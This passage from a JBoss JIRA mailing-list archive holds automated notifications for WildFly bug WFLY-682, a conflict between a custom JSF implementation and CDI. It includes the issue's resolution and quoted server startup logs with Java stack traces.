> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext$Step.access$300(AbstractOperationContext.java:873) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.finishStep(AbstractOperationContext.java:721) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:677) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.ModelControllerImpl.boot(ModelControllerImpl.java:320) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.controller.AbstractControllerService.boot(AbstractControllerService.java:288) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at org.jboss.as.server.ServerService.boot(ServerService.java:356)
> [Server:stage2] 	at org.jboss.as.server.ServerService.boot(ServerService.java:331)
> [Server:stage2] 	at org.jboss.as.controller.AbstractControllerService$1.run(AbstractControllerService.java:250) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Server:stage2] 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Server:stage2] 
> [Server:stage2] FATAL [org.jboss.as.server] JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> [Server:stage2] ERROR [stderr] java.io.IOException: JBAS012175: Channel closed
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.protocol.ProtocolConnectionManager.connect(ProtocolConnectionManager.java:67)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.mgmt.domain.HostControllerConnection.reConnect(HostControllerConnection.java:165)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.mgmt.domain.HostControllerClient.reconnect(HostControllerClient.java:97)
> [Server:stage2] ERROR [stderr] 	at org.jboss.as.server.DomainServerMain.main(DomainServerMain.java:138)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> [Server:stage2] ERROR [stderr] 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> [Server:stage2] ERROR [stderr] 	at java.lang.reflect.Method.invoke(Method.java:601)
> [Server:stage2] ERROR [stderr] 	at org.jboss.modules.Module.run(Module.java:292)
> [Server:stage2] ERROR [stderr] 	at org.jboss.modules.Main.main(Main.java:455)
> [Server:stage2] INFO  [org.jboss.as] JBAS015950: WildFly 8.0.0.Beta1-SNAPSHOT "WildFly" stopped in 10ms
> [Host Controller] INFO  [org.jboss.as.host.controller] JBAS010926: Unregistering server stage2
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 11:33:04 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Fri, 6 Sep 2013 11:33:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-682) Custom JSF deployment does not
 work altogether with CDI
In-Reply-To: <JIRA.12445321.1314113768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12445321.1314113768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12445321.1314113768000.13888.1378481584195@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-682?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802464#comment-12802464 ] 

Stan Silvert commented on WFLY-682:
-----------------------------------

Yes, it is fixed in WildFly, but there are no plans to backport.
                
> Custom JSF deployment does not work altogether with CDI
> -------------------------------------------------------
>
>                 Key: WFLY-682
>                 URL: https://issues.jboss.org/browse/WFLY-682
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF
>            Reporter: George Gastaldi
>            Assignee: Stan Silvert
>              Labels: jsf
>             Fix For: Awaiting Volunteers
>
>
> When using another JSF impl (with flag org.jboss.jbossfaces.WAR_BUNDLES_JSF_IMPL set to true) and a beans.xml is on WEB-INF, the following error occurs: 
> {code:java}
> 12:33:07,066 INFO  [org.jboss.modules] JBoss Modules version 1.0.1.GA
> 12:33:07,341 INFO  [org.jboss.msc] JBoss MSC version 1.0.0.GA
> 12:33:07,394 INFO  [org.jboss.as] JBoss AS 7.0.1.Final "Zap" starting
> 12:33:08,212 WARN  [org.jboss.as] No security realm defined for native management service, all access will be unrestricted.
> 12:33:08,220 INFO  [org.jboss.as] creating http management service using network interface (management) port (9990)
> 12:33:08,267 WARN  [org.jboss.as] No security realm defined for http management service, all access will be unrestricted.
> 12:33:08,276 INFO  [org.jboss.as.logging] Removing bootstrap log handlers
> 12:33:08,293 INFO  [org.jboss.as.connector.subsystems.datasources] (Controller Boot Thread) Deploying JDBC-compliant driver class org.h2.Driver (version 1.2)
> 12:33:08,306 INFO  [org.jboss.as.clustering.infinispan.subsystem] (Controller Boot Thread) Activating Infinispan subsystem.
> 12:33:08,418 INFO  [org.jboss.as.naming] (Controller Boot Thread) Activating Naming Subsystem
> 12:33:08,426 INFO  [org.jboss.as.naming] (MSC service thread 1-5) Starting Naming Service 
> 12:33:08,429 INFO  [org.jboss.as.osgi] (Controller Boot Thread) Activating OSGi Subsystem
> 12:33:08,449 INFO  [org.jboss.as.security] (Controller Boot Thread) Activating Security Subsystem
> 12:33:08,453 INFO  [org.jboss.remoting] (MSC service thread 1-4) JBoss Remoting version 3.2.0.Beta2
> 12:33:08,469 INFO  [org.xnio] (MSC service thread 1-4) XNIO Version 3.0.0.Beta3
> 12:33:08,482 INFO  [org.xnio.nio] (MSC service thread 1-4) XNIO NIO Implementation Version 3.0.0.Beta3
> 12:33:08,724 INFO  [org.apache.catalina.core.AprLifecycleListener] (MSC service thread 1-1) The Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: D:\jdk6\bin;.;C:\Windows\Sun\Java\bin;C:\Windows\system32;C:\Windows;D:/powerlogic/jcompany55/java/bin/../jre/bin/server;D:/powerlogic/jcompany55/java/bin/../jre/bin;D:/powerlogic/jcompany55/java/bin/../jre/lib/amd64;D:\powerlogic\jcompany55\java\bin;c:\Program Files\Microsoft IntelliType Pro\;D:\jdk6\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;D:\maven\bin;C:\Program Files (x86)\apache-ant-1.8.2\bin;C:\Program Files\TortoiseSVN\bin;C:\Program Files (x86)\GnuWin32\bin;C:\Program Files (x86)\GNU\GnuPG\pub;C:\Program Files (x86)\Git\bin;D:\powerlogic\jcompany55\eclipse;
> 12:33:08,731 INFO  [org.jboss.as.ee] (Controller Boot Thread) Activating EE subsystem
> 12:33:08,753 INFO  [org.jboss.as.jmx.JMXConnectorService] (MSC service thread 1-7) Starting remote JMX connector
> 12:33:08,757 INFO  [org.jboss.as.remoting] (MSC service thread 1-5) Listening on /127.0.0.1:9999
> 12:33:08,803 INFO  [org.apache.coyote.http11.Http11Protocol] (MSC service thread 1-8) Starting Coyote HTTP/1.1 on http--127.0.0.1-8080
> 12:33:09,018 INFO  [org.jboss.as.connector] (MSC service thread 1-3) Starting JCA Subsystem (JBoss IronJacamar 1.0.3.Final)
> 12:33:09,088 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-8) Bound data source [java:jboss/datasources/ExampleDS]
> 12:33:09,394 INFO  [org.jboss.as.deployment] (MSC service thread 1-1) Started FileSystemDeploymentService for directory D:\jboss-as-web-7.0.1.Final\standalone\deployments
> 12:33:09,402 INFO  [org.jboss.as.deployment] (DeploymentScanner-threads - 1) Found exemplo.war in deployment directory. To trigger deployment create a file called exemplo.war.dodeploy
> 12:33:09,403 INFO  [org.jboss.as.deployment] (DeploymentScanner-threads - 1) Found hellomyfaces.war in deployment directory. To trigger deployment create a file called hellomyfaces.war.dodeploy
> 12:33:09,427 INFO  [org.jboss.as] (Controller Boot Thread) JBoss AS 7.0.1.Final "Zap" started in 2588ms - Started 93 of 148 services (55 services are passive or on-demand)
> 12:33:09,444 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-5) Starting deployment of "hellomyfaces.war"
> 12:33:10,229 INFO  [org.jboss.as.jpa] (MSC service thread 1-8) added javax.persistence.api dependency to hellomyfaces.war
> 12:33:10,274 INFO  [org.jboss.weld] (MSC service thread 1-5) Processing CDI deployment: hellomyfaces.war
> 12:33:10,628 INFO  [org.jboss.weld] (MSC service thread 1-1) Starting Services for CDI deployment: hellomyfaces.war
> 12:33:10,652 INFO  [org.jboss.weld.Version] (MSC service thread 1-1) WELD-000900 1.1.2 (Final)
> 12:33:10,679 INFO  [org.jboss.weld] (MSC service thread 1-4) Starting weld service
> 12:33:11,055 INFO  [org.apache.myfaces.ee6.MyFacesContainerInitializer] (MSC service thread 1-6) Added FacesServlet with mappings=[/faces/*, *.jsf, *.faces]
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.PRETTY_HTML' found, using default value true
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.ALLOW_JAVASCRIPT' found, using default value true
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_CLEAR_JAVASCRIPT_FOR_BUTTON' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_HIDDEN_FIELDS_FOR_LINK_PARAMS' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.SAVE_FORM_SUBMIT_LINK_IE' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.READONLY_AS_DISABLED_FOR_SELECTS' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_VIEWSTATE_ID' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.STRICT_XHTML_LINKS' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_FORM_SUBMIT_SCRIPT_INLINE' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.CONFIG_REFRESH_PERIOD' found, using default value 2
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.VIEWSTATE_JAVASCRIPT' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.REFRESH_TRANSIENT_BUILD_ON_PSS' found, using default value auto
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.REFRESH_TRANSIENT_BUILD_ON_PSS_PRESERVE_STATE' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.VALIDATE_XML' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.WRAP_SCRIPT_CONTENT_WITH_XML_COMMENT_TAG' found, using default value true
> 12:33:11,099 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) Tomahawk jar not available. Autoscrolling, DetectJavascript, AddResourceClass and CheckExtensionsFilter are disabled now.
> 12:33:11,122 INFO  [org.apache.myfaces.config.DefaultFacesConfigurationProvider] (MSC service thread 1-6) Reading standard config META-INF/standard-faces-config.xml
> 12:33:11,425 AVISO [org.apache.myfaces.config.annotation.DefaultAnnotationProvider] (MSC service thread 1-6) AnnotationConfigurator does not found classes for annotations in /WEB-INF/classes/org/jboss/test/jsf/hellomyfaces/ . This could happen because maven jetty plugin is used (goal jetty:run). Try configure org.apache.myfaces.annotation.SCAN_PACKAGES init parameter or use jetty:run-exploded instead.
> 12:33:11,681 INFO  [org.apache.myfaces.config.DefaultFacesConfigurationProvider] (MSC service thread 1-6) Reading config : jar:file:D:%5Cjboss-as-web-7.0.1.Final%5Cmodules%5Corg%5Cjboss%5Cas%5Cweld%5Cmain%5Cjboss-as-weld-7.0.1.Final.jar!/META-INF/faces-config.xml
> 12:33:11,714 GRAVE [org.apache.myfaces.webapp.AbstractFacesInitializer] (MSC service thread 1-6) An error occured while initializing MyFaces: Class org.jboss.as.weld.webtier.jsf.WeldApplicationFactory is no javax.faces.application.ApplicationFactory: java.lang.IllegalArgumentException: Class org.jboss.as.weld.webtier.jsf.WeldApplicationFactory is no javax.faces.application.ApplicationFactory
> 	at javax.faces.FactoryFinder.newFactoryInstance(FactoryFinder.java:311) [myfaces-api-2.1.1.jar:]
> 	at javax.faces.FactoryFinder._getFactory(FactoryFinder.java:277) [myfaces-api-2.1.1.jar:]
> 	at javax.faces.FactoryFinder.getFactory(FactoryFinder.java:200) [myfaces-api-2.1.1.jar:]
> 	at org.apache.myfaces.config.FacesConfigurator.configureApplication(FacesConfigurator.java:489) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.config.FacesConfigurator.configure(FacesConfigurator.java:401) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.AbstractFacesInitializer.buildConfiguration(AbstractFacesInitializer.java:309) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.Jsp21FacesInitializer.initContainerIntegration(Jsp21FacesInitializer.java:73) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.AbstractFacesInitializer.initFaces(AbstractFacesInitializer.java:125) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.StartupServletContextListener.contextInitialized(StartupServletContextListener.java:111) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.catalina.core.StandardContext.contextListenerStart(StandardContext.java:3368) [jbossweb-7.0.1.Final.jar:7.0.1.Final]
> 	at org.apache.catalina.core.StandardContext.start(StandardContext.java:3821) [jbossweb-7.0.1.Final.jar:7.0.1.Final]
> 	at org.jboss.as.web.deployment.WebDeploymentService.start(WebDeploymentService.java:70) [jboss-as-web-7.0.1.Final.jar:7.0.1.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1765)
> 	at org.jboss.msc.service.ServiceControllerImpl$ClearTCCLTask.run(ServiceControllerImpl.java:2291)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [:1.6.0_24]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [:1.6.0_24]
> 	at java.lang.Thread.run(Thread.java:662) [:1.6.0_24]
> 12:33:11,725 INFO  [org.jboss.web] (MSC service thread 1-6) registering web context: /hellomyfaces
> 12:33:11,770 INFO  [org.jboss.as.server.controller] (DeploymentScanner-threads - 2) Deployed "hellomyfaces.war"
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 11:35:04 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Fri, 6 Sep 2013 11:35:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-682) Custom JSF deployment does not
 work altogether with CDI
In-Reply-To: <JIRA.12445321.1314113768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12445321.1314113768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12445321.1314113768000.13902.1378481704109@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-682?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stan Silvert resolved WFLY-682.
-------------------------------

    Fix Version/s: 8.0.0.Alpha4
                       (was: Awaiting Volunteers)
       Resolution: Done

    
> Custom JSF deployment does not work altogether with CDI
> -------------------------------------------------------
>
>                 Key: WFLY-682
>                 URL: https://issues.jboss.org/browse/WFLY-682
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF
>            Reporter: George Gastaldi
>            Assignee: Stan Silvert
>              Labels: jsf
>             Fix For: 8.0.0.Alpha4
>
>
> When using another JSF impl (with flag org.jboss.jbossfaces.WAR_BUNDLES_JSF_IMPL set to true) and a beans.xml is on WEB-INF, the following error occurs: 
> {code:java}
> 12:33:07,066 INFO  [org.jboss.modules] JBoss Modules version 1.0.1.GA
> 12:33:07,341 INFO  [org.jboss.msc] JBoss MSC version 1.0.0.GA
> 12:33:07,394 INFO  [org.jboss.as] JBoss AS 7.0.1.Final "Zap" starting
> 12:33:08,212 WARN  [org.jboss.as] No security realm defined for native management service, all access will be unrestricted.
> 12:33:08,220 INFO  [org.jboss.as] creating http management service using network interface (management) port (9990)
> 12:33:08,267 WARN  [org.jboss.as] No security realm defined for http management service, all access will be unrestricted.
> 12:33:08,276 INFO  [org.jboss.as.logging] Removing bootstrap log handlers
> 12:33:08,293 INFO  [org.jboss.as.connector.subsystems.datasources] (Controller Boot Thread) Deploying JDBC-compliant driver class org.h2.Driver (version 1.2)
> 12:33:08,306 INFO  [org.jboss.as.clustering.infinispan.subsystem] (Controller Boot Thread) Activating Infinispan subsystem.
> 12:33:08,418 INFO  [org.jboss.as.naming] (Controller Boot Thread) Activating Naming Subsystem
> 12:33:08,426 INFO  [org.jboss.as.naming] (MSC service thread 1-5) Starting Naming Service 
> 12:33:08,429 INFO  [org.jboss.as.osgi] (Controller Boot Thread) Activating OSGi Subsystem
> 12:33:08,449 INFO  [org.jboss.as.security] (Controller Boot Thread) Activating Security Subsystem
> 12:33:08,453 INFO  [org.jboss.remoting] (MSC service thread 1-4) JBoss Remoting version 3.2.0.Beta2
> 12:33:08,469 INFO  [org.xnio] (MSC service thread 1-4) XNIO Version 3.0.0.Beta3
> 12:33:08,482 INFO  [org.xnio.nio] (MSC service thread 1-4) XNIO NIO Implementation Version 3.0.0.Beta3
> 12:33:08,724 INFO  [org.apache.catalina.core.AprLifecycleListener] (MSC service thread 1-1) The Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: D:\jdk6\bin;.;C:\Windows\Sun\Java\bin;C:\Windows\system32;C:\Windows;D:/powerlogic/jcompany55/java/bin/../jre/bin/server;D:/powerlogic/jcompany55/java/bin/../jre/bin;D:/powerlogic/jcompany55/java/bin/../jre/lib/amd64;D:\powerlogic\jcompany55\java\bin;c:\Program Files\Microsoft IntelliType Pro\;D:\jdk6\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;D:\maven\bin;C:\Program Files (x86)\apache-ant-1.8.2\bin;C:\Program Files\TortoiseSVN\bin;C:\Program Files (x86)\GnuWin32\bin;C:\Program Files (x86)\GNU\GnuPG\pub;C:\Program Files (x86)\Git\bin;D:\powerlogic\jcompany55\eclipse;
> 12:33:08,731 INFO  [org.jboss.as.ee] (Controller Boot Thread) Activating EE subsystem
> 12:33:08,753 INFO  [org.jboss.as.jmx.JMXConnectorService] (MSC service thread 1-7) Starting remote JMX connector
> 12:33:08,757 INFO  [org.jboss.as.remoting] (MSC service thread 1-5) Listening on /127.0.0.1:9999
> 12:33:08,803 INFO  [org.apache.coyote.http11.Http11Protocol] (MSC service thread 1-8) Starting Coyote HTTP/1.1 on http--127.0.0.1-8080
> 12:33:09,018 INFO  [org.jboss.as.connector] (MSC service thread 1-3) Starting JCA Subsystem (JBoss IronJacamar 1.0.3.Final)
> 12:33:09,088 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-8) Bound data source [java:jboss/datasources/ExampleDS]
> 12:33:09,394 INFO  [org.jboss.as.deployment] (MSC service thread 1-1) Started FileSystemDeploymentService for directory D:\jboss-as-web-7.0.1.Final\standalone\deployments
> 12:33:09,402 INFO  [org.jboss.as.deployment] (DeploymentScanner-threads - 1) Found exemplo.war in deployment directory. To trigger deployment create a file called exemplo.war.dodeploy
> 12:33:09,403 INFO  [org.jboss.as.deployment] (DeploymentScanner-threads - 1) Found hellomyfaces.war in deployment directory. To trigger deployment create a file called hellomyfaces.war.dodeploy
> 12:33:09,427 INFO  [org.jboss.as] (Controller Boot Thread) JBoss AS 7.0.1.Final "Zap" started in 2588ms - Started 93 of 148 services (55 services are passive or on-demand)
> 12:33:09,444 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-5) Starting deployment of "hellomyfaces.war"
> 12:33:10,229 INFO  [org.jboss.as.jpa] (MSC service thread 1-8) added javax.persistence.api dependency to hellomyfaces.war
> 12:33:10,274 INFO  [org.jboss.weld] (MSC service thread 1-5) Processing CDI deployment: hellomyfaces.war
> 12:33:10,628 INFO  [org.jboss.weld] (MSC service thread 1-1) Starting Services for CDI deployment: hellomyfaces.war
> 12:33:10,652 INFO  [org.jboss.weld.Version] (MSC service thread 1-1) WELD-000900 1.1.2 (Final)
> 12:33:10,679 INFO  [org.jboss.weld] (MSC service thread 1-4) Starting weld service
> 12:33:11,055 INFO  [org.apache.myfaces.ee6.MyFacesContainerInitializer] (MSC service thread 1-6) Added FacesServlet with mappings=[/faces/*, *.jsf, *.faces]
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.PRETTY_HTML' found, using default value true
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.ALLOW_JAVASCRIPT' found, using default value true
> 12:33:11,096 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_CLEAR_JAVASCRIPT_FOR_BUTTON' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_HIDDEN_FIELDS_FOR_LINK_PARAMS' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.SAVE_FORM_SUBMIT_LINK_IE' found, using default value false
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.READONLY_AS_DISABLED_FOR_SELECTS' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_VIEWSTATE_ID' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.STRICT_XHTML_LINKS' found, using default value true
> 12:33:11,097 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.RENDER_FORM_SUBMIT_SCRIPT_INLINE' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.CONFIG_REFRESH_PERIOD' found, using default value 2
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.VIEWSTATE_JAVASCRIPT' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.REFRESH_TRANSIENT_BUILD_ON_PSS' found, using default value auto
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.REFRESH_TRANSIENT_BUILD_ON_PSS_PRESERVE_STATE' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.VALIDATE_XML' found, using default value false
> 12:33:11,098 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) No context init parameter 'org.apache.myfaces.WRAP_SCRIPT_CONTENT_WITH_XML_COMMENT_TAG' found, using default value true
> 12:33:11,099 INFO  [org.apache.myfaces.shared_impl.config.MyfacesConfig] (MSC service thread 1-6) Tomahawk jar not available. Autoscrolling, DetectJavascript, AddResourceClass and CheckExtensionsFilter are disabled now.
> 12:33:11,122 INFO  [org.apache.myfaces.config.DefaultFacesConfigurationProvider] (MSC service thread 1-6) Reading standard config META-INF/standard-faces-config.xml
> 12:33:11,425 AVISO [org.apache.myfaces.config.annotation.DefaultAnnotationProvider] (MSC service thread 1-6) AnnotationConfigurator does not found classes for annotations in /WEB-INF/classes/org/jboss/test/jsf/hellomyfaces/ . This could happen because maven jetty plugin is used (goal jetty:run). Try configure org.apache.myfaces.annotation.SCAN_PACKAGES init parameter or use jetty:run-exploded instead.
> 12:33:11,681 INFO  [org.apache.myfaces.config.DefaultFacesConfigurationProvider] (MSC service thread 1-6) Reading config : jar:file:D:%5Cjboss-as-web-7.0.1.Final%5Cmodules%5Corg%5Cjboss%5Cas%5Cweld%5Cmain%5Cjboss-as-weld-7.0.1.Final.jar!/META-INF/faces-config.xml
> 12:33:11,714 GRAVE [org.apache.myfaces.webapp.AbstractFacesInitializer] (MSC service thread 1-6) An error occured while initializing MyFaces: Class org.jboss.as.weld.webtier.jsf.WeldApplicationFactory is no javax.faces.application.ApplicationFactory: java.lang.IllegalArgumentException: Class org.jboss.as.weld.webtier.jsf.WeldApplicationFactory is no javax.faces.application.ApplicationFactory
> 	at javax.faces.FactoryFinder.newFactoryInstance(FactoryFinder.java:311) [myfaces-api-2.1.1.jar:]
> 	at javax.faces.FactoryFinder._getFactory(FactoryFinder.java:277) [myfaces-api-2.1.1.jar:]
> 	at javax.faces.FactoryFinder.getFactory(FactoryFinder.java:200) [myfaces-api-2.1.1.jar:]
> 	at org.apache.myfaces.config.FacesConfigurator.configureApplication(FacesConfigurator.java:489) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.config.FacesConfigurator.configure(FacesConfigurator.java:401) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.AbstractFacesInitializer.buildConfiguration(AbstractFacesInitializer.java:309) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.Jsp21FacesInitializer.initContainerIntegration(Jsp21FacesInitializer.java:73) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.AbstractFacesInitializer.initFaces(AbstractFacesInitializer.java:125) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.myfaces.webapp.StartupServletContextListener.contextInitialized(StartupServletContextListener.java:111) [myfaces-impl-2.1.1.jar:]
> 	at org.apache.catalina.core.StandardContext.contextListenerStart(StandardContext.java:3368) [jbossweb-7.0.1.Final.jar:7.0.1.Final]
> 	at org.apache.catalina.core.StandardContext.start(StandardContext.java:3821) [jbossweb-7.0.1.Final.jar:7.0.1.Final]
> 	at org.jboss.as.web.deployment.WebDeploymentService.start(WebDeploymentService.java:70) [jboss-as-web-7.0.1.Final.jar:7.0.1.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1765)
> 	at org.jboss.msc.service.ServiceControllerImpl$ClearTCCLTask.run(ServiceControllerImpl.java:2291)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [:1.6.0_24]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [:1.6.0_24]
> 	at java.lang.Thread.run(Thread.java:662) [:1.6.0_24]
> 12:33:11,725 INFO  [org.jboss.web] (MSC service thread 1-6) registering web context: /hellomyfaces
> 12:33:11,770 INFO  [org.jboss.as.server.controller] (DeploymentScanner-threads - 2) Deployed "hellomyfaces.war"
> {code}

--
